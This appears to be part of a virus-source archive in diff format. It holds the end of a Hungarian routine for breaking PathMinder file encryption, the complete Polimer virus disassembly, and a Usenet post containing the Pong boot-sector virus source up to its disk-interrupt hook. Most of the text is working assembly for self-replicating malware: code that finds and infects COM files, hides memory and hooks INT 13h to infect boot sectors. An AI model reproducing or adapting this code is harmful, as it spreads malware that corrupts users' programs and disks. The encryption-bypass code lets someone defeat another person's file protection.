CIKL5: MOV AL,[SI]
|
||||
XOR AL,CL
|
||||
ROR AL,CL
|
||||
CMP AL,[BX]
|
||||
JZ FOLYTB
|
||||
CIKL9: ADD CL,BYTE PTR [IRANY+100H]
|
||||
JNZ CIKL5
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH AX
|
||||
MOV AX,0E07H
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
MOV AX,0E3FH
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
POP AX
|
||||
POP CX
|
||||
POP BX
|
||||
JMP TASZT
|
||||
FOLYTB: MOV [DI],CL
|
||||
CMP CL,128
|
||||
JC FOLYTG
|
||||
JMP CIKL9
|
||||
FOLYTG: CMP CL,20H
|
||||
JC CIKL9
|
||||
TASZT1: PUSH CX
|
||||
PUSH BX
|
||||
PUSH AX
|
||||
MOV BX,0
|
||||
MOV AL,CL
|
||||
MOV AH,0EH
|
||||
MOV CX,1
|
||||
INT 10H
|
||||
POP AX
|
||||
POP BX
|
||||
POP CX
|
||||
TASZT: MOV AH,0
|
||||
INT 16H
|
||||
CMP AH,4BH
|
||||
JZ BAL
|
||||
CMP AH,4DH
|
||||
JZ JOBB
|
||||
CMP AH,48H
|
||||
JZ FEL
|
||||
CMP AH,50H
|
||||
JZ LE1
|
||||
CMP AH,1CH
|
||||
JZ ESC1
|
||||
JMP TASZT
|
||||
LE1: CALL BALRA
|
||||
MOV BYTE PTR [IRANY+100H],0FFH
|
||||
JMP CIKL9
|
||||
BALRA: PUSH BX
|
||||
PUSH CX
|
||||
PUSH AX
|
||||
MOV AX,0E08H
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
POP AX
|
||||
POP CX
|
||||
POP BX
|
||||
RET
|
||||
FEL: CALL BALRA
|
||||
MOV BYTE PTR [IRANY+100H],01H
|
||||
JMP CIKL9
|
||||
BAL: CALL BALRA
|
||||
CMP BX,OFFSET IPUFF+157H
|
||||
JNC BAL1
|
||||
JMP CIKL9
|
||||
BAL1: CALL BALRA
|
||||
DEC BX
|
||||
DEC SI
|
||||
DEC DI
|
||||
POP CX
|
||||
INC CX
|
||||
JMP CIKL6
|
||||
JOBB: CMP BX,OFFSET IPUFF+157H+25
|
||||
JC JOBB1
|
||||
CALL BALRA
|
||||
JMP CIKL9
|
||||
JOBB1: INC BX
|
||||
INC SI
|
||||
INC DI
|
||||
POP CX
|
||||
DEC CX
|
||||
JMP CIKL6
|
||||
ESC1: POP CX
|
||||
MOV AX,0E0DH
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
MOV AX,0E0AH
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
MOV BYTE PTR [OPUFF+100H+28],0
|
||||
KILEP1: MOV SI,OFFSET OPUFF+100H
|
||||
CALL KIIR
|
||||
JMP KILEP
|
||||
IRANY: DB 1
|
||||
PMER: MOV SI,OFFSET PERR+100H
|
||||
CALL KIIR
|
||||
JMP KILEP
|
||||
KODER: MOV SI,OFFSET KDERR+100H
|
||||
CALL KIIR
|
||||
JMP KILEP
|
||||
FILER: MOV SI,OFFSET FERR+100H
|
||||
CALL KIIR
|
||||
JMP KILEP
|
||||
KIIR: MOV AL,[SI]
|
||||
CMP AL,0
|
||||
JNZ FOLYT6
|
||||
RET
|
||||
FOLYT6: MOV AH,0EH
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
INC SI
|
||||
JMP KIIR
|
||||
BET: MOV AL,[BX+2]
|
||||
CMP AL,20H
|
||||
JNZ FOLYT2
|
||||
MOV BYTE PTR [SI],0
|
||||
INC BX
|
||||
INC SI
|
||||
LOOP FOLYT3
|
||||
XOR AL,AL
|
||||
FOLYT3: RET
|
||||
FOLYT2: MOV [SI],AL
|
||||
INC SI
|
||||
INC BX
|
||||
LOOP BET
|
||||
MOV BYTE PTR [SI],0
|
||||
XOR AL,AL
|
||||
RET
|
||||
PMNAM: DB 'File encrypted by PathMinder v2.01 (c) Copyright 1984,1985 Westlake Data Corporation',0
|
||||
FERR: DB 'TOLTESI HIBA A LEMEZEN',0DH,0AH,0
|
||||
PERR: DB 'HIBAS PM-VERZIO',0DH,0AH,0
|
||||
KRERR: DB 'KERESESI HIBA',0DH,0AH,0
|
||||
KDERR: DB 'KODOLASI HIBA',0DH,0AH,0
|
||||
FILEN: DB 64 DUP (0)
|
||||
FILECO: DB 64 DUP (0)
|
||||
KODOK: DB 64 DUP (0)
|
||||
KODTB: DB 'feri&bozo',0
|
||||
IPUFF: DB 256 DUP (0)
|
||||
FILMO: DB 30 DUP (0)
|
||||
OPUFF: DB 32*64 DUP (0)
|
||||
START ENDS
|
||||
END
|
||||
|
274
MSDOS/Virus.MSDOS.Unknown.polimer.asm
Normal file
274
MSDOS/Virus.MSDOS.Unknown.polimer.asm
Normal file
@ -0,0 +1,274 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ POLIMER VIRUS ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Disassembly by >> Wasp << a.k.a. Night Crawler. ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 5-Jan-92 ÛÛ
|
||||
;ÛÛ Version: 1.0d ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: OW ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Reassemble with MASM 5.01 ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
movseg macro reg16, unused, Imm16 ; Fixup for Assembler
|
||||
ifidn <reg16>, <bx>
|
||||
db 0BBh
|
||||
endif
|
||||
ifidn <reg16>, <cx>
|
||||
db 0B9h
|
||||
endif
|
||||
ifidn <reg16>, <dx>
|
||||
db 0BAh
|
||||
endif
|
||||
ifidn <reg16>, <si>
|
||||
db 0BEh
|
||||
endif
|
||||
ifidn <reg16>, <di>
|
||||
db 0BFh
|
||||
endif
|
||||
ifidn <reg16>, <bp>
|
||||
db 0BDh
|
||||
endif
|
||||
ifidn <reg16>, <sp>
|
||||
db 0BCh
|
||||
endif
|
||||
ifidn <reg16>, <BX>
|
||||
db 0BBH
|
||||
endif
|
||||
ifidn <reg16>, <CX>
|
||||
db 0B9H
|
||||
endif
|
||||
ifidn <reg16>, <DX>
|
||||
db 0BAH
|
||||
endif
|
||||
ifidn <reg16>, <SI>
|
||||
db 0BEH
|
||||
endif
|
||||
ifidn <reg16>, <DI>
|
||||
db 0BFH
|
||||
endif
|
||||
ifidn <reg16>, <BP>
|
||||
db 0BDH
|
||||
endif
|
||||
ifidn <reg16>, <SP>
|
||||
db 0BCH
|
||||
endif
|
||||
dw seg Imm16
|
||||
endm
|
||||
DATA_1E EQU 80H
|
||||
DATA_2E EQU 162H
|
||||
DATA_3E EQU 16AH
|
||||
DATA_4E EQU 0C0H
|
||||
DATA_5E EQU 103H
|
||||
DATA_6E EQU 128H
|
||||
DATA_7E EQU 2B9H
|
||||
DATA_8E EQU 0C0H
|
||||
DATA_9E EQU 0C1H
|
||||
DATA_10E EQU 0C8H
|
||||
DATA_12E EQU 0CAH
|
||||
DATA_14E EQU 0CCH
|
||||
DATA_23E EQU 0
|
||||
DATA_24E EQU 100H
|
||||
DATA_25E EQU 200H
|
||||
|
||||
SEG_A SEGMENT BYTE PUBLIC
|
||||
ASSUME CS:SEG_A, DS:SEG_A
|
||||
|
||||
|
||||
ORG 100h
|
||||
|
||||
POLIMER PROC FAR
|
||||
|
||||
START:
|
||||
JMP LOC_4 ; (0183)
|
||||
DB 00H, 3FH
|
||||
DB 7 DUP (3FH)
|
||||
DB 43H, 4FH, 4DH, 00H, 1AH, 00H
|
||||
DB 00H, 00H, 2EH,0F2H, 0CH, 2BH
|
||||
DB 01H
|
||||
DB 15 DUP (0)
|
||||
DATA_18 DB 'A le', 27H, 'jobb kazetta a POLI'
|
||||
DB 'MER kazetta ! Vegye ezt ! ', 0AH
|
||||
DB 0DH, '$'
|
||||
DB 'ERROR', 0AH, 0DH, '$'
|
||||
DATA_19 DW 5
|
||||
DATA_20 DW 18D8H
|
||||
LOC_1:
|
||||
MOV SI,DATA_7E
|
||||
MOV DI,DATA_8E
|
||||
MOV CX,30H
|
||||
CLD ; Clear direction
|
||||
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
|
||||
JMP $-0BAH
|
||||
LOC_2:
|
||||
JMP LOC_10 ; (0296)
|
||||
LOC_3:
|
||||
JMP LOC_9 ; (028F)
|
||||
LOC_4:
|
||||
MOV AL,0
|
||||
MOV AH,0EH
|
||||
INT 21H ; DOS Services ah=function 0Eh
|
||||
; set default drive dl (0=a:)
|
||||
MOV DX,DATA_4E
|
||||
MOV AH,1AH
|
||||
INT 21H ; DOS Services ah=function 1Ah
|
||||
; set DTA to ds:dx
|
||||
MOV DX,DATA_6E
|
||||
MOV AH,9
|
||||
INT 21H ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
LOC_5:
|
||||
MOV DX,DATA_5E
|
||||
MOV AH,11H
|
||||
INT 21H ; DOS Services ah=function 11h
|
||||
; find filename, FCB @ ds:dx
|
||||
TEST AL,AL
|
||||
JNZ LOC_2 ; Jump if not zero
|
||||
LOC_6:
|
||||
MOV WORD PTR DS:DATA_14E,2424H
|
||||
MOV AX,DS:DATA_12E
|
||||
MOV WORD PTR DS:DATA_12E+1,AX
|
||||
MOV AX,DS:DATA_10E
|
||||
MOV AL,2EH ; '.'
|
||||
MOV WORD PTR DS:DATA_10E+1,AX
|
||||
MOV AL,2
|
||||
MOV DX,DATA_9E
|
||||
MOV AH,3DH ; '='
|
||||
INT 21H ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
JC LOC_3 ; Jump if carry Set
|
||||
MOV DATA_19,AX
|
||||
MOV BX,DATA_19
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
MOV AL,2
|
||||
MOV AH,42H ; 'B'
|
||||
INT 21H ; DOS Services ah=function 42h
|
||||
; move file ptr, cx,dx=offset
|
||||
JC LOC_3 ; Jump if carry Set
|
||||
MOV DATA_20,AX
|
||||
MOV BX,DATA_19
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
MOV AL,0
|
||||
MOV AH,42H ; 'B'
|
||||
INT 21H ; DOS Services ah=function 42h
|
||||
; move file ptr, cx,dx=offset
|
||||
JC LOC_3 ; Jump if carry Set
|
||||
MOV BX,DATA_19
|
||||
MOV CX,200H
|
||||
MOV DX,DATA_23E
|
||||
MOV AX,DS
|
||||
ADD AX,1000H
|
||||
MOV DS,AX
|
||||
MOV AH,3FH ; '?'
|
||||
INT 21H ; DOS Services ah=function 3Fh
|
||||
; read file, cx=bytes, to ds:dx
|
||||
MOV CX,80H
|
||||
CLD ; Clear direction
|
||||
MOV SI,DATA_24E
|
||||
MOV DI,OFFSET DS:[200H]
|
||||
REPE CMPSB ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||||
JZ LOC_8 ; Jump if zero
|
||||
MOV BX,CS:DATA_19
|
||||
MOV CX,CS:DATA_20
|
||||
SUB CX,200H
|
||||
MOV DX,DATA_25E
|
||||
MOV AH,3FH ; '?'
|
||||
INT 21H ; DOS Services ah=function 3Fh
|
||||
; read file, cx=bytes, to ds:dx
|
||||
MOV AX,DS
|
||||
SUB AX,1000H
|
||||
MOV DS,AX
|
||||
MOV BX,DATA_19
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
MOV AL,0
|
||||
MOV AH,42H ; 'B'
|
||||
INT 21H ; DOS Services ah=function 42h
|
||||
; move file ptr, cx,dx=offset
|
||||
MOV BX,DATA_19
|
||||
MOV DX,OFFSET DS:[100H]
|
||||
MOV CX,200H
|
||||
MOV AH,40H ; '@'
|
||||
INT 21H ; DOS Services ah=function 40h
|
||||
; write file cx=bytes, to ds:dx
|
||||
MOV BX,DATA_19
|
||||
MOV DX,DATA_23E
|
||||
MOV CX,DATA_20
|
||||
MOV AX,DS
|
||||
ADD AX,1000H
|
||||
MOV DS,AX
|
||||
MOV AH,40H ; '@'
|
||||
INT 21H ; DOS Services ah=function 40h
|
||||
; write file cx=bytes, to ds:dx
|
||||
MOV AX,DS
|
||||
SUB AX,1000H
|
||||
MOV DS,AX
|
||||
MOV BX,DATA_19
|
||||
MOV AH,3EH ; '>'
|
||||
INT 21H ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
JMP SHORT LOC_10 ; (0296)
|
||||
DB 90H
|
||||
LOC_7:
|
||||
MOV DX,DATA_5E
|
||||
MOV AH,12H
|
||||
INT 21H ; DOS Services ah=function 12h
|
||||
; find next filenam, FCB @ds:dx
|
||||
TEST AL,AL
|
||||
JNZ LOC_10 ; Jump if not zero
|
||||
JMP LOC_6 ; (01A2)
|
||||
LOC_8:
|
||||
MOV AX,DS
|
||||
SUB AX,1000H
|
||||
MOV DS,AX
|
||||
MOV BX,DS:DATA_3E
|
||||
MOV AH,3EH ; '>'
|
||||
INT 21H ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
JMP SHORT LOC_7 ; (0270)
|
||||
LOC_9:
|
||||
MOV DX,DATA_2E
|
||||
MOV AH,9
|
||||
INT 21H ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
LOC_10:
|
||||
MOV AH,19H
|
||||
INT 21H ; DOS Services ah=function 19h
|
||||
; get default drive al (0=a:)
|
||||
TEST AL,AL
|
||||
JNZ LOC_11 ; Jump if not zero
|
||||
MOV DL,2
|
||||
MOV AH,0EH
|
||||
INT 21H ; DOS Services ah=function 0Eh
|
||||
; set default drive dl (0=a:)
|
||||
MOV AH,19H
|
||||
INT 21H ; DOS Services ah=function 19h
|
||||
; get default drive al (0=a:)
|
||||
TEST AL,AL
|
||||
JZ LOC_11 ; Jump if zero
|
||||
JMP LOC_5 ; (0197)
|
||||
LOC_11:
|
||||
MOV DX,DATA_1E
|
||||
MOV AH,1AH
|
||||
INT 21H ; DOS Services ah=function 1Ah
|
||||
; set DTA to ds:dx
|
||||
JMP LOC_1 ; (016E)
|
||||
DB 0BEH, 00H, 03H
|
||||
DB 0BFH, 00H, 01H,0B9H, 00H,0FDH
|
||||
DB 0FCH,0F3H,0A4H,0EBH
|
||||
DB 32H, 90H
|
||||
DB 56 DUP (0)
|
||||
|
||||
POLIMER ENDP
|
||||
|
||||
SEG_A ENDS
|
||||
|
||||
|
||||
|
||||
END START
|
656
MSDOS/Virus.MSDOS.Unknown.pong.asm
Normal file
656
MSDOS/Virus.MSDOS.Unknown.pong.asm
Normal file
@ -0,0 +1,656 @@
|
||||
From smtp Tue Feb 7 13:15 EST 1995
|
||||
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:15 EST
|
||||
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
|
||||
id NAA16239 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:17:17 -0500
|
||||
Date: Tue, 7 Feb 1995 13:17:17 -0500
|
||||
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
|
||||
Content-Length: 22178
|
||||
Content-Type: text
|
||||
Message-Id: <199502071817.NAA16239@lynx.dac.neu.edu>
|
||||
To: pobox.jwu.edu!joshuaw
|
||||
Subject: (fwd) Pong
|
||||
Newsgroups: alt.comp.virus
|
||||
Status: O
|
||||
|
||||
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
|
||||
From: danishm@iia.org ()
|
||||
Newsgroups: alt.comp.virus
|
||||
Subject: Pong
|
||||
Date: 5 Feb 1995 21:56:02 GMT
|
||||
Organization: International Internet Association.
|
||||
Lines: 624
|
||||
Message-ID: <3h3hhi$sb@ankh.iia.org>
|
||||
NNTP-Posting-Host: iia.org
|
||||
X-Newsreader: TIN [version 1.2 PL2]
|
||||
|
||||
Here is the Pong virus:
|
||||
|
||||
|
||||
|
||||
; ORIGININ ADDRESS -7C00H
|
||||
|
||||
|
||||
RAM SEGMENT AT 0
|
||||
|
||||
; SYSTEM DATA
|
||||
|
||||
ORG 20H
|
||||
INT8OF DW ? ; INTERRUPT 8 OFFSET
|
||||
INT8SG DW ? ; INTERRUPT 8 SEGMENT
|
||||
ORG 4CH
|
||||
INT19O DW ? ; INTERRUPT 19 OFFSET
|
||||
INT19S DW ? ; INTERRUPT 19 SEGMENT
|
||||
ORG 413H
|
||||
RAMSIZ DW ? ; TOTAL RAM SIZE
|
||||
|
||||
; BPB OF VIRUS BOOT RECORD
|
||||
|
||||
ORG 7C0BH
|
||||
BYPSEC DW ? ; BYTES PER SECTOR
|
||||
NUMSEC DB ? ; SECTORS PER ALLOCATION UNIT
|
||||
SECRES DW ? ; RESERVED SECTORS
|
||||
FATNUM DB ? ; NUMBER OF FATS
|
||||
DIRNUM DW ? ; NUMBER OF ROOT DIR ENTRIES
|
||||
SECNUM DW ? ; NUMBER OF SECTORS
|
||||
MEDIAD DB ? ; MEDIA DESCRIPTOR
|
||||
SECFAT DW ? ; NUMBER OF SECTORS PER FAT
|
||||
SECTRK DW ? ; SECTORS PER TRACK
|
||||
HEDNUM DW ? ; NUMBER OF HEADS
|
||||
HIDSEC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
|
||||
|
||||
; INTERRUPT 19 (13H) BRANCH ADDRESS
|
||||
|
||||
ORG 7D2AH
|
||||
|
||||
ORIG19 DW ? ; ORIGINAL INT 19 OFFSET
|
||||
ORG19S DW ? ; ORIGINAL INT 19 SEGMENT
|
||||
|
||||
; INSTALLATION DATA AREA
|
||||
|
||||
ORG 7DF3H
|
||||
CURFAT DW ? ; CURRENT FAT SECTOR
|
||||
CURCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
|
||||
SWITCH DB ? ; SWITCHES
|
||||
; - 01H - NESTED INTERRUPT
|
||||
; - 02H - TIMER INTERRUPT INSTALLED
|
||||
; - 04H - 16-BIT FAT
|
||||
LSTDRV DB ? ; DRIVE LAST USED
|
||||
REMAIN DW ? ; SECTOR NUMBER OF REST OF CODE
|
||||
RESERV DB ? ; RESERVED SPACE FOR FUTURE HACKING
|
||||
FLAG01 DW ? ; FLAG FIELD
|
||||
|
||||
; DATA AREA
|
||||
|
||||
ORG 7EB0H
|
||||
LASTTM DW ? ; SYSTEM TIME LAST CALLED
|
||||
PRCFAT DB ? ; PROCESSED FAT / 256
|
||||
|
||||
; INTERRUPT 8 BRANCH ADDRESS
|
||||
|
||||
ORG 7FC9H
|
||||
ORG08O DW ? ; ORIGINAL INT 8 OFFSET
|
||||
ORG08S DW ? ; ORIGINAL INT 8 SEGMENT
|
||||
|
||||
; DISPLAY DATA AREA
|
||||
|
||||
ORG 7FCDH
|
||||
CHARAT DW ? ; CHARACTER AND ATTRIBUTES
|
||||
ROWCOL DW ? ; ROW AND COLUMN POSITIONS
|
||||
ROWCLM DW ? ; ROW AND COLUMN MOVEMENT
|
||||
GRAPHM DB ? ; GRAPHICS MODE SWITCH
|
||||
MODEAP DW ? ; MODE AND ACTIVE PAGE
|
||||
COLUMN DB ? ; VISIBLE COLUMNS - 1
|
||||
|
||||
; BPB OF ORIGINAL BOOT RECORD
|
||||
|
||||
ORG 800BH
|
||||
BIPSEC DW ? ; BYTES PER SECTOR
|
||||
ALCSEC DB ? ; SECTORS PER ALLOCATION UNIT
|
||||
VERVED DW ? ; RESERVED SECTORS
|
||||
RUMNUM DB ? ; NUMBER OF FATS
|
||||
ROTRID DW ? ; NUMBER OF ROOT DIR ENTRIES
|
||||
NUOSEC DW ? ; NUMBER OF SECTORS
|
||||
MIASET DB ? ; MEDIA DESCRIPTOR
|
||||
FASNUM DW ? ; NUMBER OF SECTORS PER FAT
|
||||
TRASSC DW ? ; SECTORS PER TRACK
|
||||
NUOHED DW ? ; NUMBER OF HEADS
|
||||
HIDESC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
|
||||
|
||||
|
||||
ORG 81F5H
|
||||
FSTCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
|
||||
SWITCB DB ? ; SWITCHES - 01H - NESTED INTERRUPT
|
||||
; - 02H - TIMER INTERRUPT INSTALLED
|
||||
; - 04H - 16-BIT FAT
|
||||
LASTUS DB ? ; DRIVE LAST USED
|
||||
REMAI2 DW ? ; SECTOR NUMBER OF REST OF CODE
|
||||
LATER2 DB ? ; TYPE SWITCH
|
||||
LATER3 DW 2 DUP (?) ; INSTALLED.. HMMM?
|
||||
|
||||
|
||||
RAM ENDS
|
||||
|
||||
CODE SEGMENT BYTE PUBLIC 'CODE'
|
||||
ASSUME CS:CODE,DS:RAM
|
||||
|
||||
START:
|
||||
JMP HIDE_ME_PLEASE ; BRANCH ROUND BPB TABLE
|
||||
|
||||
DB 'MSDOS3.2' ; OEM AND VERSION
|
||||
|
||||
DW 512 ; BYPSEC - BYTES PER SECTOR
|
||||
DB 2 ; NUMSEC - SECTORS PER ALLOCATION UNIT
|
||||
DW 1 ; SECRES - RESERVED SECTORS
|
||||
DB 2 ; FATNUM - NUMBER OF FATS
|
||||
DW 112 ; DIRNUM - NUMBER OF ROOT DIR ENTRIES
|
||||
DW 720 ; SECNUM - NUMBER OF SECTORS
|
||||
DB 0FDH ; MEDIAD - MEDIA DESCRIPTOR
|
||||
DW 2 ; SECFAT - NUMBER OF SECTORS PER FAT
|
||||
DW 9 ; SECTRK - SECTORS PER TRACK
|
||||
DW 2 ; HEDNUM - NUMBER OF HEADS
|
||||
DW 0 ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER)
|
||||
|
||||
; START OF PROCESSING
|
||||
|
||||
; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA
|
||||
|
||||
HIDE_ME_PLEASE:
|
||||
XOR AX,AX
|
||||
MOV SS,AX ; STACK SEGMENT ZERO
|
||||
MOV SP,7C00H ; SET STACK POINTER TO START OF BUFFER
|
||||
MOV DS,AX ; DATA SEGMENT ZERO
|
||||
MOV AX,RAMSIZ ; GET TOTAL RAM SIZE
|
||||
SUB AX,2 ; SUBTRACT 2K
|
||||
MOV RAMSIZ,AX ; REPLACE AMENDED RAM SIZE
|
||||
MOV CL,6 ; NUMBER OF POSITIONS TO SHIFT
|
||||
SHL AX,CL ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS)
|
||||
SUB AX,7C0H ; SUBTRACT BUFFER OFFSET
|
||||
MOV ES,AX ; SET TARGET SEGMENT ADDRESS
|
||||
MOV SI,7C00H ; LOAD BUFFER TARGET OFFSET
|
||||
MOV DI,SI ; COPY OFFSET FOR SOURCE
|
||||
MOV CX,0100H ; NUMBER OF WORDS TO MOVE
|
||||
REPZ MOVSW ; DUPLICATE BOOT SECTOR IN HIGH STORAGE
|
||||
; MOV CS,AX ; LOAD SEGMENT OF NEW LOCATION
|
||||
; THIS IS THE ILLEGAL OPCODE!
|
||||
DB 08EH, 0C8H ; PREVIOUS COMMAND HARD CODED
|
||||
|
||||
; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE
|
||||
|
||||
PUSH CS ; \ SET DS EQUAL TO CS
|
||||
POP DS ; /
|
||||
CALL SET_IT_UP
|
||||
SET_IT_UP:
|
||||
XOR AH,AH ; INITIALISE DISK SUB-SYSTEM
|
||||
INT 13H ; DISK INTERRUPT
|
||||
AND LSTDRV,80H ; SET ADDRESS FOR HARD DISK
|
||||
MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
|
||||
PUSH CS ; \ GET CURRENT SEGMENT
|
||||
POP AX ; /
|
||||
SUB AX,20H ; ADDRESS BACK ONE SECTOR
|
||||
MOV ES,AX ; SET BUFFER SEGMENT FOR REST OF CODE
|
||||
CALL READ_IT_IN ; READ REST OF CODE
|
||||
MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
|
||||
INC BX ; ADDRESS TO BOOT SECTOR STORE
|
||||
MOV AX,0FFC0H ; WRAP-AROUND ADDRESS (= -400H)
|
||||
MOV ES,AX ; SET BUFFER SEGMENT FOR BOOT SECTOR
|
||||
CALL READ_IT_IN ; READ REAL BOOT SECTOR
|
||||
XOR AX,AX
|
||||
MOV SWITCH,AL ; SET OFF ALL SWITCHES
|
||||
MOV DS,AX ; DATA SEGMENT ZERO
|
||||
MOV AX,INT19O ; SAVE INT 19 OFFSET
|
||||
MOV BX,INT19S ; SAVE INT 19 SEGMENT
|
||||
MOV INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET
|
||||
MOV INT19S,CS ; NEW INT 19 SEGMENT
|
||||
PUSH CS ; \ SET DS EQUAL TO CS
|
||||
POP DS ; /
|
||||
MOV ORIG19,AX ; STORE OLD INT 19 OFFSET
|
||||
MOV ORG19S,BX ; STORE OLD INT 19 SEGMENT
|
||||
MOV DL,LSTDRV ; GET DRIVE NUMBER
|
||||
DB 0EAH ; FAR JUMP TO BOOT SECTOR
|
||||
DW 7C00H, 0
|
||||
|
||||
WRITE_IT_OUT:
|
||||
MOV AX,301H ; WRITE ONE SECTOR
|
||||
JMP SHORT GET_SECTOR
|
||||
|
||||
READ_IT_IN:
|
||||
MOV AX,201H ; READ ONE SECTOR
|
||||
GET_SECTOR:
|
||||
XCHG BX,AX ; MOVE SECTOR NUMBER TO AX
|
||||
ADD AX,HIDSEC ; ADD HIDDEN SECTORS
|
||||
XOR DX,DX ; CLEAR FOR DIVISION
|
||||
DIV SECTRK ; DIVIDE BY SECTORS PER TRACK
|
||||
INC DL ; ADD ONE TO ODD SECTORS
|
||||
MOV CH,DL ; SAVE SECTOR NUMBER
|
||||
XOR DX,DX ; CLEAR FOR DIVISION
|
||||
DIV HEDNUM ; DIVIDE BY NUMBER OF HEADS
|
||||
MOV CL,6 ; POSITIONS TO MOVE
|
||||
SHL AH,CL ; MOVE TOP TWO BITS OF TRACK
|
||||
OR AH,CH ; MOVE IN SECTOR NUMBER
|
||||
MOV CX,AX ; MOVE TO CORRECT REGISTER
|
||||
XCHG CH,CL ; ..AND CORRECT POSITION IN REG
|
||||
MOV DH,DL ; MOVE HEAD NUMBER
|
||||
MOV AX,BX ; RECOVER CONTENTS OF AX
|
||||
BRING_IN:
|
||||
MOV DL,LSTDRV ; GET DRIVE NUMBER
|
||||
MOV BX,8000H ; SET BUFFER ADDRESS
|
||||
INT 13H ; DISK INTERRUPT
|
||||
JNB GO_BACK ; BRANCH IF NO ERRORS
|
||||
POP AX
|
||||
GO_BACK:
|
||||
RET
|
||||
|
||||
; INTERRUPT 19 (13H) (DISK) ROUTINE
|
||||
|
||||
INT_19:
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH CS ; \ SET DS EQUAL TO CS
|
||||
POP DS ; /
|
||||
PUSH CS ; \ SET ES EQUAL TO CS
|
||||
POP ES ; /
|
||||
TEST SWITCH,1 ; TEST NESTED INTERRUPT SWITCH
|
||||
JNZ PASS_OUT ; EXIT IF ON
|
||||
CMP AH,2 ; TEST FOR READ SECTOR
|
||||
JNZ PASS_OUT ; EXIT IF NOT
|
||||
CMP LSTDRV,DL ; COMPARE DRIVE NUMBER
|
||||
MOV LSTDRV,DL ; SAVE DRIVE NUMBER
|
||||
JNZ INT_SWITCH ; BRANCH IF DIFFERENT THIS TIME
|
||||
|
||||
; THIS IS THE ACTIVATION CODE. IT HAS A 'WINDOW' OF JUST LESS
|
||||
; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH
|
||||
; TIME A DISK-READ WILL SWITCH IT ON.
|
||||
|
||||
XOR AH,AH ; GET SYSTEM CLOCK
|
||||
INT 1AH ; SYSTEM CLOCK INTERRUPT
|
||||
TEST DH,7FH ; TEST LOW WORD HIGH BYTE
|
||||
JNZ DO_TIME
|
||||
TEST DL,0F0H ; TEST LOW WORD LOW BYTE
|
||||
JNZ DO_TIME
|
||||
PUSH DX ; SAVE SYSTEM TIME
|
||||
CALL INTERRUPT_08 ; INSTALL SYSTEM CLOCK ROUTINE
|
||||
POP DX ; RECOVER SYSTEM TIME
|
||||
DO_TIME:
|
||||
MOV CX,DX ; COPY SYSTEM TIME
|
||||
SUB DX,LASTTM ; INTERVAL SINCE LAST CALL
|
||||
MOV LASTTM,CX ; SAVE SYSTEM TIME
|
||||
SUB DX,24H ; SUBTRACT 2 SECONDS
|
||||
JB PASS_OUT ; RETURN IF LESS THAN TWO SECONDS
|
||||
INT_SWITCH:
|
||||
OR SWITCH,1 ; SET ON NESTED INTERRUPT SWITCH
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
CALL DISK_INSTALL ; INSTALL ON DISK
|
||||
POP DI
|
||||
POP SI
|
||||
AND SWITCH,0FEH ; SET OFF NESTED INTERRUPT SWITCH
|
||||
PASS_OUT:
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POP ES
|
||||
POP DS
|
||||
DB 0EAH ; FAR JUMP TO ORIGINAL INT 19
|
||||
DW 01FBH ; ORIG19 - ORIGINAL INT 19 OFFSET
|
||||
DW 0C800H ; ORG19S - ORIGINAL INT 19 SEGMENT
